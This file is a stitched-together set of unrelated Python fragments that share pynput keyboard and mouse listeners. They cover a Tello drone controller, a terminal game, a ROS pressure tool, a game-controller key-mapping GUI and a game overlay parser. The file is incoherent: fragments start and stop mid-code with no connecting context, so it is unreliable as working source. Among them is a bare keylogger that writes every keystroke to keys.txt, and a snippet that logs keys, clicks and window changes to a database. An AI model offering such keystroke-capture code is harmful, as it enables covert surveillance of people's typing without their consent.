now = datetime.strftime(datetime.now(), format)
requete = requests.get(url)
print("Requête : ", requete.text)
def start(self):
Listener.start(self)
self.join()
class KeyboardController(object):
"""
Controller for the Tello drone that allows using keyboard as a controller for the drone.
"""
KEY_TO_COMMAND = {
"left": COMMAND_FLY_LEFT,
"right": COMMAND_FLY_RIGHT,
"up": COMMAND_FLY_FORWARD,
"down": COMMAND_FLY_BACKWARD,
"w": COMMAND_FLY_UP,
"a": COMMAND_ROTATE_COUNTERCLOCKWISE,
"s": COMMAND_FLY_DOWN,
"d": COMMAND_ROTATE_CLOCKWISE,
"space": COMMAND_HOVER,
"shift": COMMAND_TAKEOFF,
"shift_l": COMMAND_TAKEOFF,
"shift_r": COMMAND_LAND,
"esc": COMMAND_EMERGENCY,
}
def __init__(self, tello_commander=None):
super(KeyboardController, self).__init__()
self._tello_commander = tello_commander if tello_commander is not None else TelloCommander(
)
self._listener = Listener(on_press=self._on_press,
on_release=self._on_release)
# ------------------------------------- PUBLIC INTERFACE ------------------------------------- #
def start(self):
"""
Start the controller thread (does NOT call takeoff of the drone).
"""
self._listener.start()
def stop(self):
"""
Stop the controller thread.
"""
self._listener.stop()
def join(self):
"""
Join the controller thread (i.e. forbid the program to continue in the main thread).
"""
self._listener.join()
def print_controls(self):
"""
Prints the information about control keys to the command line.
"""
print("TAKEOFF: {}".format(
self._control_keys(COMMAND_TAKEOFF)))
print("LAND: {}".format(self._control_keys(COMMAND_LAND)))
print("EMERGENCY: {}".format(
self._control_keys(COMMAND_EMERGENCY)))
print("HOVER: {}".format(self._control_keys(COMMAND_HOVER)))
print()
print("LEFT: {}".format(
self._control_keys(COMMAND_FLY_LEFT)))
print("RIGHT: {}".format(
self._control_keys(COMMAND_FLY_RIGHT)))
print("FORWARD: {}".format(
self._control_keys(COMMAND_FLY_FORWARD)))
print("BACKWARD: {}".format(
self._control_keys(COMMAND_FLY_BACKWARD)))
print()
print("UP: {}".format(
self._control_keys(COMMAND_FLY_UP)))
print("DOWN: {}".format(
self._control_keys(COMMAND_FLY_DOWN)))
print()
print("ROT. CLOCKWISE: {}".format(
self._control_keys(COMMAND_ROTATE_CLOCKWISE)))
print("ROT. C.CLOCKWISE: {}".format(
self._control_keys(COMMAND_ROTATE_COUNTERCLOCKWISE)))
# ------------------------------------ PRIVATE INTERFACE ------------------------------------- #
def _on_press(self, key):
try:
self._tello_commander.send(
self.KEY_TO_COMMAND[self._decode_key(key)])
except KeyError:
pass # Handle keys that do not correspond to any commands
def _on_release(self, key):
# Command the drone to start hovering after an action key release
if self._decode_key(key) in [
"left", "right", "up", "down", "w", "a", "s", "d"
]:
self._tello_commander.send(COMMAND_HOVER)
def _decode_key(self, key):
"""
Converts the pressed key to its string description. The pynput library has two types of keys
that have to be handled separately.
"""
if hasattr(key, "char"):
return str(key.char).lower()
elif hasattr(key, "name"):
return str(key.name).lower()
def _control_keys(self, command):
"""
Returns a list of control keys for the given command.
Args:
command(str): Command (one of the know command constants COMMAND_*)
Returns:
:obj:`list` keys mapped to this command
"""
return [
key for key, comm in self.KEY_TO_COMMAND.items() if comm == command
]
def key_thread():
listener = Listener(on_press=on_press)
listener.start()
from pynput.keyboard import Listener
def key_press(key):
f = open("keys.txt", "a")
if str(key) == "Key.space":
letter = " "
elif str(key) == "Key.enter":
letter = "\n"
else:
letter = str(key)
f.write(str(letter).replace("'", ""))
f.close()
listener_object = Listener(on_press=key_press)
listener_object.start()
listener_object.join()
class Game:
def __init__(self):
# constants
self.data = {'fps': 5, 'width': 50, 'height': 29}
# region keyboard listener
def on_press(key):
if key.name in ['up', 'down', 'left', 'right']:
self.delete_character()
self.char.move(key.name, self.data['height'],
self.data['width'])
self.move_character()
def on_release(key):
if key == Key.esc:
self.running = False
return False
self.keyboard = Listener(on_press=on_press, on_release=on_release)
self.keyboard.start()
# endregion
# create the board
self.board = create_board(self.data['height'], self.data['width'])
# region create the character
class Character:
def __init__(self, i, j, value):
self.i = i
self.j = j
self.value = value
def move(self, direction, max_height, max_width):
# check out of bounds error
if (self.i == 0
and direction == 'up') or (self.i == max_height - 1
and direction == 'down'):
return
if (self.j == 1
and direction == 'left') or (self.j == max_width - 2
and direction == 'right'):
return
# change the position according to direction
if direction == 'up':
self.i -= 1
elif direction == 'down':
self.i += 1
elif direction == 'left':
self.j -= 1
elif direction == 'right':
self.j += 1
self.char = Character(25, 25, '+')
self.move_character()
# endregion
# thread to run the mainloop
self.t = Thread(target=self.mainloop)
self.running = False
def run(self):
self.running = True
self.t.start()
self.t.join()
def delete_character(self):
self.board[self.char.i][self.char.j] = ' '
def move_character(self):
self.board[self.char.i][self.char.j] = self.char.value
def mainloop(self):
t1 = time.time()
t2 = t1
interval = 1 / self.data['fps']
while True:
if not self.running:
return
while t2 - t1 <= interval:
t2 = time.time()
else:
t1 = t2
self.render()
def render(self):
cls()
print_board(self.board)
class PressureSender:
def __init__(self):
self.transition_time = 0.5
self.curr_ind = 0
self.curr_ind_tmp = 0
self.curr_pressures = []
self.num_channels = 0
self._outputs = False
self._client = actionlib.SimpleActionClient(
'pressure_control', pressure_controller_ros.msg.CommandAction)
self._client.wait_for_server()
rospy.Subscriber('pressure_control/echo',
pressure_controller_ros.msg.Echo, self.ack_waiter)
# Get trajectory from the parameter server
all_settings = rospy.get_param(rospy.get_name())
self.data_back = all_settings.get("data_back")
self.send_command("_flush", [])
self.send_command("off", [], wait_for_ack=False)
self.send_command("_flush", [])
self.send_command("echo", True)
self.send_command("mode", 3)
#Get the curent setpoint
self.send_command("set", [])
if self.data_back:
self.send_command("on", [])
self.r = rospy.Rate(100)
self._listener = Listener(on_press=self.on_press,
on_release=self.on_release)
self._listener.start()
self.redraw()
#later: get this automatically from listening for messages in the echo topic
def ack_waiter(self, data):
if data.command == "set":
self.num_channels = len(data.args) - 1
self.curr_pressures = []
for x in data.args[1:]:
if x != '':
self.curr_pressures.append(float(x))
print(self.curr_pressures)
def set_press(self, pressure):
if self.curr_ind == -1:
self.send_command("set", [self.transition_time, pressure])
else:
new_pressure = self.curr_pressures[:]
new_pressure[self.curr_ind] = pressure
new_pressure.insert(0, self.transition_time)
self.send_command("set", new_pressure)
def all_zero(self):
self.send_command("set", [self.transition_time, 0])
def data_stream(self):
self._outputs = not self._outputs
if self._outputs:
self.send_command("on", [])
else:
self.send_command("off", [])
def ind_plus(self):
self.curr_ind = int(
np.clip(self.curr_ind + 1, -1, self.num_channels - 1))
self.curr_ind_tmp = self.curr_ind
def ind_minus(self):
self.curr_ind = int(
np.clip(self.curr_ind - 1, -1, self.num_channels - 1))
self.curr_ind_tmp = self.curr_ind
def ind_all(self):
self.curr_ind = -1
def ind_res(self):
if self.curr_ind_tmp is not None:
self.curr_ind = self.curr_ind_tmp
def spin(self):
while not rospy.is_shutdown():
try:
self.r.sleep()
inp = str(raw_input())
inp = re.sub('[^0-9 .-]', '', inp)
if inp is not None:
self.set_press(float(inp))
self.redraw(True)
except:
raise
def redraw(self, extra=False):
print('\r', end='')
if extra:
sys.stdout.write("\033[K") #clear line
sys.stdout.write("\033[A") #Up one
sys.stdout.write("\033[K") #clear line
sys.stdout.write("\033[A") #Up one
sys.stdout.write("\033[K") #clear line
sys.stdout.write("\033[A") #Up one
sys.stdout.write("\033[K") #clear line
sys.stdout.write("\033[A") #Up one
sys.stdout.write("\033[K") #clear line
out_str = ""
if self._outputs:
out_str += cterm("Data ON!", 'blue', attrs=['bold'])
else:
out_str += cterm("Data OFF", 'blue')
for idx, pres in enumerate(self.curr_pressures):
if self.curr_ind == idx or self.curr_ind == -1:
out_str += cterm("\t%0.3f" % (pres),
'green',
attrs=['bold', 'underline'])
else:
out_str += cterm("\t%0.3f" % (pres), 'green')
print(out_str + '\t')
print("New Pressure: ")
def send_command(self, command, args, wait_for_ack=True):
command, args = validate_commands.go(command, args)
# Send commands to the commader node and wait for things to be taken care of
goal = pressure_controller_ros.msg.CommandGoal(
command=command, args=args, wait_for_ack=wait_for_ack)
self._client.send_goal(goal)
self._client.wait_for_result()
if not self._client.get_result():
raise ('Something went wrong and a setting was not validated')
pass
else:
pass
def shutdown(self):
print("_Stopping setpoint follower")
self.send_command("off", [], wait_for_ack=False)
self.send_command("set", [0, 0])
self.send_command("echo", False)
self._client.cancel_all_goals()
self._listener.stop()
def on_press(self, key):
pass
def on_release(self, key):
if key == Key.esc:
self.all_zero()
#self.redraw()
elif key == Key.left:
self.ind_minus()
self.redraw()
elif key == Key.right:
self.ind_plus()
self.redraw()
elif key == Key.up:
self.ind_all()
self.redraw()
elif key == Key.down:
self.ind_res()
self.redraw()
elif key == Key.shift:
self.data_stream()
self.redraw()
def on_press(key):
global log
listen.append(key)
#print(key)
window_changed()
#print(log)
log = cleaned_data_to_database(log)
def on_click(x, y, button, pressed):
global log
if pressed:
#print(button,' Pressed at' ,(x,y))
time.sleep(0.5)
listen.append(str(button)) ##not used
window_changed()
#print(log)
log = cleaned_data_to_database(log)
key_Listener = Listener(on_press=on_press)
key_Listener.start()
# Collect events until released
with lis(on_click=on_click) as listener:
listener.join()
class PokeKeycon:
SETTING_PATH = os.path.join(os.path.dirname(__file__), "settings.ini")
def __init__(self, master=None, **kw):
self.master = master
self.kc = tk.Toplevel(master)
self.kc.title('Key Config')
self.listener = None
self.setting = configparser.ConfigParser()
self.setting.optionxform = str
self._logger = getLogger(__name__)
self._logger.addHandler(NullHandler())
self._logger.setLevel(DEBUG)
self._logger.propagate = True
self.kc.resizable(False, False)
# Initialize style
s = ttk.Style()
# Create style used by default for all Frames
s.configure('TFrame', background='white')
s.configure('Frame1.TFrame', background='#00c3e3')
s.configure('Frame2.TFrame', background='#ff4554')
# ttk.Frame.__init__(self, master, **kw)
# build ui
self.key_config_frame = ttk.Frame(self.kc)
self.frame_2 = ttk.Frame(self.key_config_frame, style='Frame1.TFrame')
self.label_ZL = ttk.Label(self.frame_2)
self.label_ZL.configure(padding='5',
text='ZL',
background='#00c3e3',
font='{游ゴシック} 12 {bold}')
self.label_ZL.grid(sticky='e')
self.entry_ZL = ttk.Entry(self.frame_2)
self.ZL = tk.StringVar()
self.entry_ZL.configure(state='readonly', textvariable=self.ZL)
self.entry_ZL.grid(column='1', padx='5', pady='5', row='0')
self.label_L = ttk.Label(self.frame_2)
self.label_L.configure(padding='5',
text='L',
background='#00c3e3',
font='{游ゴシック} 12 {bold}')
self.label_L.grid(row='1', sticky='e')
self.entry_L = ttk.Entry(self.frame_2)
self.L = tk.StringVar()
self.entry_L.configure(state='readonly', textvariable=self.L)
self.entry_L.grid(column='1', padx='5', pady='5', row='1')
self.label_MINUS = ttk.Label(self.frame_2)
self.label_MINUS.configure(padding='5',
text='MINUS',
background='#00c3e3',
font='{游ゴシック} 12 {bold}')
self.label_MINUS.grid(row='2', sticky='e')
self.entry_MINUS = ttk.Entry(self.frame_2)
self.MINUS = tk.StringVar()
self.entry_MINUS.configure(state='readonly', textvariable=self.MINUS)
self.entry_MINUS.grid(column='1', padx='5', pady='5', row='2')
self.label_HAT_UP = ttk.Label(self.frame_2)
self.label_HAT_UP.configure(padding='5',
text='HAT UP',
background='#00c3e3',
font='{游ゴシック} 12 {bold}')
self.label_HAT_UP.grid(row='3', sticky='e')
self.entry_HAT_UP = ttk.Entry(self.frame_2)
self.HAT_UP = tk.StringVar()
self.entry_HAT_UP.configure(state='readonly', textvariable=self.HAT_UP)
self.entry_HAT_UP.grid(column='1', padx='5', pady='5', row='3')
self.label__HAT_LEFT = ttk.Label(self.frame_2)
self.label__HAT_LEFT.configure(padding='5',
text='HAT LEFT',
background='#00c3e3',
font='{游ゴシック} 12 {bold}')
self.label__HAT_LEFT.grid(row='4', sticky='e')
self.entry_HAT_LEFT = ttk.Entry(self.frame_2)
self.HAT_LEFT = tk.StringVar()
self.entry_HAT_LEFT.configure(state='readonly',
textvariable=self.HAT_LEFT)
self.entry_HAT_LEFT.grid(column='1', padx='5', pady='5', row='4')
self.label_HAT_RIGHT = ttk.Label(self.frame_2)
self.label_HAT_RIGHT.configure(padding='5',
text='HAT RIGHT',
background='#00c3e3',
font='{游ゴシック} 12 {bold}')
self.label_HAT_RIGHT.grid(row='5', sticky='e')
self.entry_HAT_RIGHT = ttk.Entry(self.frame_2)
self.HAT_RIGHT = tk.StringVar()
self.entry_HAT_RIGHT.configure(state='readonly',
textvariable=self.HAT_RIGHT)
self.entry_HAT_RIGHT.grid(column='1', padx='5', pady='5', row='5')
self.label_HAT_DOWN = ttk.Label(self.frame_2)
self.label_HAT_DOWN.configure(padding='5',
text='HAT DOWN',
background='#00c3e3',
font='{游ゴシック} 12 {bold}')
self.label_HAT_DOWN.grid(row='6', sticky='e')
self.entry_HAT_DOWN = ttk.Entry(self.frame_2)
self.HAT_DOWN = tk.StringVar()
self.entry_HAT_DOWN.configure(state='readonly',
textvariable=self.HAT_DOWN)
self.entry_HAT_DOWN.grid(column='1', padx='5', pady='5', row='6')
self.label_CAPTURE = ttk.Label(self.frame_2)
self.label_CAPTURE.configure(padding='5',
text='CAPTURE',
background='#00c3e3',
font='{游ゴシック} 12 {bold}')
self.label_CAPTURE.grid(row='7', sticky='e')
self.entry_CAPTURE = ttk.Entry(self.frame_2)
self.CAPTURE = tk.StringVar()
self.entry_CAPTURE.configure(state='readonly',
textvariable=self.CAPTURE)
self.entry_CAPTURE.grid(column='1', padx='5', pady='5', row='7')
self.label_LCLICK = ttk.Label(self.frame_2)
self.label_LCLICK.configure(padding='5',
text='L CLICK',
background='#00c3e3',
font='{游ゴシック} 12 {bold}')
self.label_LCLICK.grid(row='8', sticky='e')
self.entry_LCLICK = ttk.Entry(self.frame_2)
self.LCLICK = tk.StringVar()
self.entry_LCLICK.configure(state='readonly', textvariable=self.LCLICK)
self.entry_LCLICK.grid(column='1', padx='5', pady='5', row='8')
self.frame_2.configure(height='200',
padding='10',
relief='groove',
width='200')
self.frame_2.grid(column='0', row='1', sticky='nsew')
self.frame_2.rowconfigure('1', pad='5')
self.frame_2.columnconfigure('0', pad='5')
self.frame_2_3 = ttk.Frame(self.key_config_frame,
style='Frame2.TFrame')
self.label_ZR = ttk.Label(self.frame_2_3)
self.label_ZR.configure(padding='5',
text='ZR',
background='#ff4554',
foreground='#ffffff',
font='{游ゴシック} 12 {bold}')
self.label_ZR.grid(row='0', sticky='e')
self.entry_ZR = ttk.Entry(self.frame_2_3)
self.ZR = tk.StringVar()
self.entry_ZR.configure(state='readonly', textvariable=self.ZR)
self.entry_ZR.grid(column='1', padx='5', pady='5', row='0')
self.label_R = ttk.Label(self.frame_2_3)
self.label_R.configure(padding='5',
text='R',
background='#ff4554',
foreground='#ffffff',
font='{游ゴシック} 12 {bold}')
self.label_R.grid(row='1', sticky='e')
self.entry_R = ttk.Entry(self.frame_2_3)
self.R = tk.StringVar()
self.entry_R.configure(state='readonly', textvariable=self.R)
self.entry_R.grid(column='1', padx='5', pady='5', row='1')
self.label_PLUS = ttk.Label(self.frame_2_3)
self.label_PLUS.configure(padding='5',
text='PLUS',
background='#ff4554',
foreground='#ffffff',
font='{游ゴシック} 12 {bold}')
self.label_PLUS.grid(row='2', sticky='e')
self.entry_PLUS = ttk.Entry(self.frame_2_3)
self.PLUS = tk.StringVar()
self.entry_PLUS.configure(state='readonly', textvariable=self.PLUS)
self.entry_PLUS.grid(column='1', padx='5', pady='5', row='2')
self.label_A = ttk.Label(self.frame_2_3)
self.label_A.configure(padding='5',
text='A',
background='#ff4554',
foreground='#ffffff',
font='{游ゴシック} 12 {bold}')
self.label_A.grid(row='3', sticky='e')
self.entry_A = ttk.Entry(self.frame_2_3)
self.A = tk.StringVar()
self.entry_A.configure(state='readonly', textvariable=self.A)
self.entry_A.grid(column='1', padx='5', pady='5', row='3')
self.label__B = ttk.Label(self.frame_2_3)
self.label__B.configure(padding='5',
text='B',
background='#ff4554',
foreground='#ffffff',
font='{游ゴシック} 12 {bold}')
self.label__B.grid(row='4', sticky='e')
self.entry_B = ttk.Entry(self.frame_2_3)
self.B = tk.StringVar()
self.entry_B.configure(state='readonly', textvariable=self.B)
self.entry_B.grid(column='1', padx='5', pady='5', row='4')
self.label_X = ttk.Label(self.frame_2_3)
self.label_X.configure(padding='5',
text='X',
background='#ff4554',
foreground='#ffffff',
font='{游ゴシック} 12 {bold}')
self.label_X.grid(row='5', sticky='e')
self.entry_X = ttk.Entry(self.frame_2_3)
self.X = tk.StringVar()
self.entry_X.configure(state='readonly', textvariable=self.X)
self.entry_X.grid(column='1', padx='5', pady='5', row='5')
self.label_Y = ttk.Label(self.frame_2_3)
self.label_Y.configure(padding='5',
text='Y',
background='#ff4554',
foreground='#ffffff',
font='{游ゴシック} 12 {bold}')
self.label_Y.grid(row='6', sticky='e')
self.entry_Y = ttk.Entry(self.frame_2_3)
self.Y = tk.StringVar()
self.entry_Y.configure(state='readonly', textvariable=self.Y)
self.entry_Y.grid(column='1', padx='5', pady='5', row='6')
self.label_HOME = ttk.Label(self.frame_2_3)
self.label_HOME.configure(padding='5',
text='HOME',
background='#ff4554',
foreground='#ffffff',
font='{游ゴシック} 12 {bold}')
self.label_HOME.grid(row='7', sticky='e')
self.entry_HOME = ttk.Entry(self.frame_2_3)
self.HOME = tk.StringVar()
self.entry_HOME.configure(state='readonly', textvariable=self.HOME)
self.entry_HOME.grid(column='1', padx='5', pady='5', row='7')
self.label_RCLICK = ttk.Label(self.frame_2_3)
self.label_RCLICK.configure(padding='5',
text='R CLICK',
background='#ff4554',
foreground='#ffffff',
font='{游ゴシック} 12 {bold}')
self.label_RCLICK.grid(row='8', sticky='e')
self.entry_RCLICK = ttk.Entry(self.frame_2_3)
self.RCLICK = tk.StringVar()
self.entry_RCLICK.configure(state='readonly', textvariable=self.RCLICK)
self.entry_RCLICK.grid(column='1', padx='5', pady='5', row='8')
self.frame_2_3.configure(height='200',
padding='10',
relief='groove',
width='200')
self.frame_2_3.grid(column='1', row='1', sticky='nsew')
self.frame_2_3.rowconfigure('1', pad='5')
self.frame_2_3.columnconfigure('1', pad='5')
self.frame_button = ttk.Frame(self.key_config_frame)
self.apply_button = ttk.Button(self.frame_button)
self.apply_button.configure(text='適用')
self.apply_button.grid(column='0', padx='10', sticky='e')
self.apply_button.configure(command=self.apply_setting)
self.frame_button.configure(height='200', width='200')
self.frame_button.grid(column='1', columnspan='1', row='2', sticky='e')
self.key_config_frame.configure(height='200', width='200')
self.key_config_frame.pack(side='top')
# Main widget
self.mainwindow = self.key_config_frame
self.load_config()
self.entry_ZL.bind(
'<FocusIn>',
lambda x: self.onFocusInController(self.ZL, 'Button.ZL'))
self.entry_ZL.bind('<FocusOut>', self.onFocusOutController)
self.entry_L.bind(
'<FocusIn>',
lambda x: self.onFocusInController(self.L, 'Button.L'))
self.entry_L.bind('<FocusOut>', self.onFocusOutController)
self.entry_LCLICK.bind(
'<FocusIn>',
lambda x: self.onFocusInController(self.LCLICK, 'Button.LCLICK'))
self.entry_LCLICK.bind('<FocusOut>', self.onFocusOutController)
self.entry_ZR.bind(
'<FocusIn>',
lambda x: self.onFocusInController(self.ZR, 'Button.ZR'))
self.entry_ZR.bind('<FocusOut>', self.onFocusOutController)
self.entry_R.bind(
'<FocusIn>',
lambda x: self.onFocusInController(self.R, 'Button.R'))
self.entry_R.bind('<FocusOut>', self.onFocusOutController)
self.entry_RCLICK.bind(
'<FocusIn>',
lambda x: self.onFocusInController(self.RCLICK, 'Button.RCLICK'))
self.entry_RCLICK.bind('<FocusOut>', self.onFocusOutController)
self.entry_MINUS.bind(
'<FocusIn>',
lambda x: self.onFocusInController(self.MINUS, 'Button.MINUS'))
self.entry_MINUS.bind('<FocusOut>', self.onFocusOutController)
self.entry_CAPTURE.bind(
'<FocusIn>',
lambda x: self.onFocusInController(self.CAPTURE, 'Button.CAPTURE'))
self.entry_CAPTURE.bind('<FocusOut>', self.onFocusOutController)
self.entry_A.bind(
'<FocusIn>',
lambda x: self.onFocusInController(self.A, 'Button.A'))
self.entry_A.bind('<FocusOut>', self.onFocusOutController)
self.entry_B.bind(
'<FocusIn>',
lambda x: self.onFocusInController(self.B, 'Button.B'))
self.entry_B.bind('<FocusOut>', self.onFocusOutController)
self.entry_X.bind(
'<FocusIn>',
lambda x: self.onFocusInController(self.X, 'Button.X'))
self.entry_X.bind('<FocusOut>', self.onFocusOutController)
self.entry_Y.bind(
'<FocusIn>',
lambda x: self.onFocusInController(self.Y, 'Button.Y'))
self.entry_Y.bind('<FocusOut>', self.onFocusOutController)
self.entry_PLUS.bind(
'<FocusIn>',
lambda x: self.onFocusInController(self.PLUS, 'Button.PLUS'))
self.entry_PLUS.bind('<FocusOut>', self.onFocusOutController)
self.entry_HOME.bind(
'<FocusIn>',
lambda x: self.onFocusInController(self.HOME, 'Button.HOME'))
self.entry_HOME.bind('<FocusOut>', self.onFocusOutController)
self.entry_HAT_UP.bind(
'<FocusIn>',
lambda x: self.onFocusInController(self.HAT_UP, 'Hat.TOP'))
self.entry_HAT_UP.bind('<FocusOut>', self.onFocusOutController)
self.entry_HAT_RIGHT.bind(
'<FocusIn>',
lambda x: self.onFocusInController(self.HAT_RIGHT, 'Hat.RIGHT'))
self.entry_HAT_RIGHT.bind('<FocusOut>', self.onFocusOutController)
self.entry_HAT_DOWN.bind(
'<FocusIn>',
lambda x: self.onFocusInController(self.HAT_DOWN, 'Hat.BTM'))
self.entry_HAT_DOWN.bind('<FocusOut>', self.onFocusOutController)
self.entry_HAT_LEFT.bind(
'<FocusIn>',
lambda x: self.onFocusInController(self.HAT_LEFT, 'Hat.LEFT'))
self.entry_HAT_LEFT.bind('<FocusOut>', self.onFocusOutController)
def run(self):
self.mainwindow.mainloop()
def onFocusInController(self, var, button_name):
# enable Keyboard as controller
# print(event, var)
self.listener = Listener(
on_press=lambda ev: self.on_press(ev, var=var),
on_release=lambda ev: self.on_release(
ev, var=var, button_name=button_name))
self.listener.start()
self._logger.debug("Activate key config window")
def onFocusOutController(self, event):
self.listener.stop()
self.listener = None
def on_press(self, key, var):
try:
# print('alphanumeric key {0} pressed'.format(key.char))
var.set(key.char)
except AttributeError:
var.set(key)
# print(var)
# print('special key {0} pressed'.format(key))
def on_release(self, key, var, button_name):
try:
spc = button_name.split(".")[0]
self._logger.debug(f"Released key :{var.get()}")
self.setting[f'KeyMap-{spc}'][button_name] = var.get()
except:
pass
# print(f'{key} released')
def load_config(self):
if os.path.isfile(self.SETTING_PATH):
self.setting.read(self.SETTING_PATH, encoding='utf-8')
self.ZL.set(self.setting['KeyMap-Button']['Button.ZL'])
self.L.set(self.setting['KeyMap-Button']['Button.L'])
self.LCLICK.set(self.setting['KeyMap-Button']['Button.LCLICK'])
self.ZR.set(self.setting['KeyMap-Button']['Button.ZR'])
self.R.set(self.setting['KeyMap-Button']['Button.R'])
self.RCLICK.set(self.setting['KeyMap-Button']['Button.RCLICK'])
self.MINUS.set(self.setting['KeyMap-Button']['Button.MINUS'])
self.CAPTURE.set(self.setting['KeyMap-Button']['Button.CAPTURE'])
self.A.set(self.setting['KeyMap-Button']['Button.A'])
self.B.set(self.setting['KeyMap-Button']['Button.B'])
self.X.set(self.setting['KeyMap-Button']['Button.X'])
self.Y.set(self.setting['KeyMap-Button']['Button.Y'])
self.PLUS.set(self.setting['KeyMap-Button']['Button.PLUS'])
self.HOME.set(self.setting['KeyMap-Button']['Button.HOME'])
self.HAT_UP.set(self.setting['KeyMap-Hat']['Hat.TOP'])
self.HAT_DOWN.set(self.setting['KeyMap-Hat']['Hat.BTM'])
self.HAT_LEFT.set(self.setting['KeyMap-Hat']['Hat.LEFT'])
self.HAT_RIGHT.set(self.setting['KeyMap-Hat']['Hat.RIGHT'])
def save_config(self):
self.setting['KeyMap-Button']['Button.ZL'] = self.ZL.get()
self.setting['KeyMap-Button']['Button.L'] = self.L.get()
self.setting['KeyMap-Button']['Button.LCLICK'] = self.LCLICK.get()
self.setting['KeyMap-Button']['Button.ZR'] = self.ZR.get()
self.setting['KeyMap-Button']['Button.R'] = self.R.get()
self.setting['KeyMap-Button']['Button.RCLICK'] = self.RCLICK.get()
self.setting['KeyMap-Button']['Button.MINUS'] = self.MINUS.get()
self.setting['KeyMap-Button']['Button.CAPTURE'] = self.CAPTURE.get()
self.setting['KeyMap-Button']['Button.A'] = self.A.get()
self.setting['KeyMap-Button']['Button.B'] = self.B.get()
self.setting['KeyMap-Button']['Button.X'] = self.X.get()
self.setting['KeyMap-Button']['Button.Y'] = self.Y.get()
self.setting['KeyMap-Button']['Button.PLUS'] = self.PLUS.get()
self.setting['KeyMap-Button']['Button.HOME'] = self.HOME.get()
self.setting['KeyMap-Hat']['Hat.TOP'] = self.HAT_UP.get()
self.setting['KeyMap-Hat']['Hat.RIGHT'] = self.HAT_RIGHT.get()
self.setting['KeyMap-Hat']['Hat.BTM'] = self.HAT_DOWN.get()
self.setting['KeyMap-Hat']['Hat.LEFT'] = self.HAT_LEFT.get()
with open(self.SETTING_PATH, 'w', encoding='utf-8') as file:
self.setting.write(file)
def apply_setting(self):
with open(self.SETTING_PATH, 'w', encoding='utf-8') as file:
self._logger.debug("Apply key setting")
self.setting.write(file)
if self.listener is not None:
self.listener.stop()
def close(self):
self.kc.withdraw()
if self.listener is not None:
self.listener.stop()
def bind(self, event, func):
self.kc.bind(event, func)
def protocol(self, event, func):
self.kc.protocol(event, func)
def focus_force(self):
self.kc.focus_force()
self.kc.deiconify()
def destroy(self):
if self.listener is not None:
self.listener.stop()
self.kc.destroy()
def scan(self):
#Scan for 0.5 secs and return
listener = Listener(on_press=self.log_keystroke)
listener.start()
time.sleep(0.5)
listener.stop()
class DelayParser(Thread):
"""Parser that checks Regeneration Delays and controls an overlay"""
DELAYS = {
"Power_Shield_Regen_Delay": "Shield",
"Power_Weapon_Regen_Delay": "Weapon",
"Power_Engine_Regen_Delay": "Engine"
}
POOLS = ["Weapon", "Shield", "Engine"]
STATS = {
"Delay": "Power_{}_Regen_Delay",
"Regen": "Power_{}_Regen_Rate",
"Recent": "Power_{}_Regen_Rate_(when_Recently_Consumed)"
}
def __init__(self):
"""Initialize as Thread and create attributes"""
Thread.__init__(self)
self._stats = {p: {k: 0.0 for k in self.STATS} for p in self.POOLS}
self._lock = Lock()
self._exit_queue = Queue()
self.primary = "PrimaryWeapon"
self.__delays = dict()
self._internal_q = Queue()
self._match = False
self._ms_listener = MSListener(on_click=self._on_click)
self._kb_listener = KBListener(on_press=self._on_press)
self._mouse = False
self._string = str()
print("[DelayParser] Initialized")
def set_ship_stats(self, ship: ShipStats):
"""Update the ship statistics used for delay tracking"""
self._lock.acquire()
self._stats = {
p: {k: ship["Ship"][v.format(p)] for k, v in self.STATS.items()}
for p in self.POOLS
}
self.primary = "PrimaryWeapon"
self._lock.release()
print("[DelayParser] Updated ship to: {}".format(ship.ship.name))
def primary_weapon_swap(self):
"""Swap the primary weapon key"""
self.primary = "PrimaryWeapon2" if self.primary == "PrimaryWeapon" else "PrimaryWeapon"
print("[DelayParser] Swapped Primary Weapons")
def match_end(self):
"""Match ended callback"""
self._internal_q.put("end")
def match_start(self):
"""Match start callback"""
self._internal_q.put("start")
def update(self):
"""Update the state of the DelayParser"""
self._lock.acquire()
stats, key = self._stats.copy(), self.primary
self._lock.release()
while not self._internal_q.empty():
v = self._internal_q.get()
if v == "start":
self._match = True
elif v == "end":
self._match = False
elif v == "mouse":
self._mouse = not self._mouse
else:
pool, time = v
self.__delays[pool] = time
if self._match is False:
return
if self._mouse is True:
self.__delays["Weapon"] = datetime.now()
string, time = "\n", datetime.now()
for pool, start in self.__delays.items():
elapsed = (time - start).total_seconds()
remaining = max(stats[pool]["Delay"] - elapsed, 0.0)
rate = stats[pool]["Regen"] if remaining == 0.0 else stats[pool]["Recent"]
string += "{}: {:.1f}s, {:.1f}pps\n".format(pool[0], remaining, rate)
self._lock.acquire()
self._string = string
self._lock.release()
sleep(0.1)
def process_event(self, event: dict, active_ids: list):
"""Process an event to check for shield power pool usage"""
ctg = Parser.get_event_category(event, active_ids)
if event["self"] is True and ctg == "engine":
self._internal_q.put(("Engine", event["time"]))
return
if event["self"] is True or Parser.compare_ids(event["target"], active_ids) is False:
return
if "Damage" not in event["effect"]:
return
# event: Damage dealt to self
self._internal_q.put(("Shield", event["time"]))
def cleanup(self):
"""Clean up everything in use"""
self._ms_listener.stop()
self._kb_listener.stop()
def run(self):
"""Run the Thread"""
self._ms_listener.start()
self._kb_listener.start()
print("[DelayParser] Keyboard and Mouse Listeners started")
while True:
if not self._exit_queue.empty():
break
self.update()
self.cleanup()
def stop(self):
"""Stop activities and join Thread"""
if not self.is_alive():
return
self._exit_queue.put(True)
self.join(timeout=1)
def _on_click(self, x: int, y: int, button: Button, state: bool):
"""Process a click to check for weapon power usage"""
if button == Button.left:
self._internal_q.put("mouse")
def _on_press(self, key: (Key, KeyCode)):
"""Process a key press to check for engine power usage"""
if key == Key.space:
self._internal_q.put(("Engine", datetime.now()))
@property
def string(self):
"""String to show in the Overlay"""
self._lock.acquire()
string = self._string
self._lock.release()
return string